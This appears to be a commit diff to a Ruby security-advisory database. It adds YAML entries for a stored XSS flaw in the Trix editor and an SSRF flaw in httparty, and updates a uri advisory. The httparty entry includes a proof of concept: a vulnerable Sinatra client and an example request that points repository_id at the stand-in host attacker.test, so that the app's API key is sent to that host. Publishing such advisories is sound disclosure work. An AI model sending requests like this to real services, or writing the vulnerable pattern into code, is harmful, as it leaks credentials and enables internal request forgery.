GHSA SYNC: 1 modified and 2 brand new advisories again

gems/action_text-trix/GHSA-g9jg-w8vm-g96v.yml

@@ -0,0 +1,36 @@
+---
+gem: action_text-trix
+ghsa: g9jg-w8vm-g96v
+url: https://github.com/basecamp/trix/security/advisories/GHSA-g9jg-w8vm-g96v
+title: Trix has a stored XSS vulnerability through its attachment attribute
+date: 2025-12-31
+description: |
+  ### Impact
+
+  The Trix editor, in versions prior to 2.1.16, is vulnerable to
+  XSS attacks through attachment payloads.
+
+  An attacker could inject malicious code into a data-trix-attachment
+  attribute that, when rendered as HTML and clicked on, could execute
+  arbitrary JavaScript code within the context of the user's session,
+  potentially leading to unauthorized actions being performed or
+  sensitive information being disclosed.
+
+  ### Patches
+
+  Update Recommendation: Users should upgrade to Trix editor
+  version 2.1.16 or later.
+
+  ### Resources
+
+  The XSS vulnerability was reported by HackerOne researcher
+  [michaelcheers](https://hackerone.com/michaelcheers?type=user).
+cvss_v3: 4.6
+patched_versions:
+  - ">= 2.1.16"
+related:
+  url:
+    - https://github.com/basecamp/trix/security/advisories/GHSA-g9jg-w8vm-g96v
+    - https://github.com/basecamp/trix/releases/tag/v2.1.16
+    - https://github.com/basecamp/trix/commit/73c20cf03ab2b56c0ef9c9b1aaf63f2de44f4010
+    - https://github.com/advisories/GHSA-g9jg-w8vm-g96v

gems/httparty/CVE-2025-68696.yml

@@ -0,0 +1,132 @@
+---
+gem: httparty
+cve: 2025-68696
+ghsa: hm5p-x4rq-38w4
+url: https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
+title: httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
+date: 2025-12-23
+description: |
+  ## Summary
+
+  There may be an SSRF vulnerability in httparty. This issue can
+  pose a risk of leaking API keys, and it can also allow third
+  parties to issue requests to internal servers.
+
+  ## Details
+
+  When httparty receives a path argument that is an absolute URL,
+  it ignores the `base_uri` field. As a result, if a malicious
+  user can control the path value, the application may unintentionally
+  communicate with a host that the programmer did not anticipate.
+
+  Consider the following example of a web application:
+
+  ```rb
+  require 'sinatra'
+  require 'httparty'
+
+  class RepositoryClient
+    include HTTParty
+    base_uri 'http://exmaple.test/api/v1/repositories/'
+    headers
+   'X-API-KEY' => '1234567890'
+  end
+
+  post '/issue' do
+    request_body = JSON.parse(request.body.read)
+
+    RepositoryClient.get(request_body['repository_id']).body
+      # do something
+    json
+    message: 'OK'
+  end
+  ```
+
+  Now, suppose an attacker sends a request like this:
+
+  ```
+  POST
+  /issue HTTP/1.1
+  Host: localhost:10000
+  Content-Type: application/json
+  {
+      "repository_id":
+      "http://attacker.test",
+      "title": "test"
+  }
+  ```
+
+  In this case, httparty sends the `X-API-KEY` not to
+  `http://example.test` but instead to `http://attacker.test`.
+
+  Is this behavior considered intentional in httparty?
+
+  A similar problem was reported and fixed in the HTTP client
+  library axios in the past: <https://github.com/axios/axios/issues/6463>
+
+  Also, Python's `urljoin` function has documented a warning about
+  similar behavior:
+  <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin>
+
+  In my opinion, httparty should verify, right before sending the
+  request, that either of the following conditions is met:
+
+  1. The destination URL has a prefix matching `base_uri`.
+  2. `base_uri` is not set.
+
+  ## PoC
+
+  Follow these steps to reproduce the issue:
+
+  1. Set up two simple HTTP servers.
+
+     ```bash
+     mkdir /tmp/server1 /tmp/server2
+     echo "this is server1" > /tmp/server1/index.html
+     echo "this is server2" > /tmp/server2/index.html
+     python -m http.server -d /tmp/server1 10001 &
+     python -m http.server -d /tmp/server2 10002 &
+     ```
+
+  2. Create a script (for example, `main.rb`):
+
+     ```rb
+     require 'httparty'
+
+     class Client
+       include HTTParty
+       base_uri 'http://localhost:10001'
+     end
+
+     data = Client.get('http://localhost:10002').body
+     puts data
+     ```
+
+  3.  Run the script:
+
+     ```bash
+     $ ruby main.rb
+     this is server2
+     ```
+
+  Although `base_uri` is set to `http://localhost:10001/`, httparty
+  sends the request to `http://localhost:10002/`.
+
+  ##
+  Impact
+
+  - Leakage of credentials: If an absolute URL is provided, any API keys
+    or credentials configured in httparty may be exposed to unintended
+    third-party hosts.
+  - SSRF (Server-Side Request Forgery): Attackers can force the
+    httparty-based program to send requests to other internal hosts
+    within the network where the program is running.
+  - Affected users: Any software that uses `base_uri` and does not
+    properly validate the path parameter may be affected by this issue."
+notes: Never patched
+related:
+  url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-68696
+    - https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4
+    - https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240
+    - https://github.com/advisories/GHSA-hm5p-x4rq-38w4

gems/uri/CVE-2025-61594.yml

@@ -1,6 +1,7 @@
 ---
 gem: uri
 cve: 2025-61594
+ghsa: j4pr-3wm6-xx2r
 url: https://www.ruby-lang.org/en/news/2025/10/07/uri-cve-2025-61594
 title: CVE-2025-61594 - URI Credential Leakage Bypass over CVE-2025-27221
 date: 2025-10-07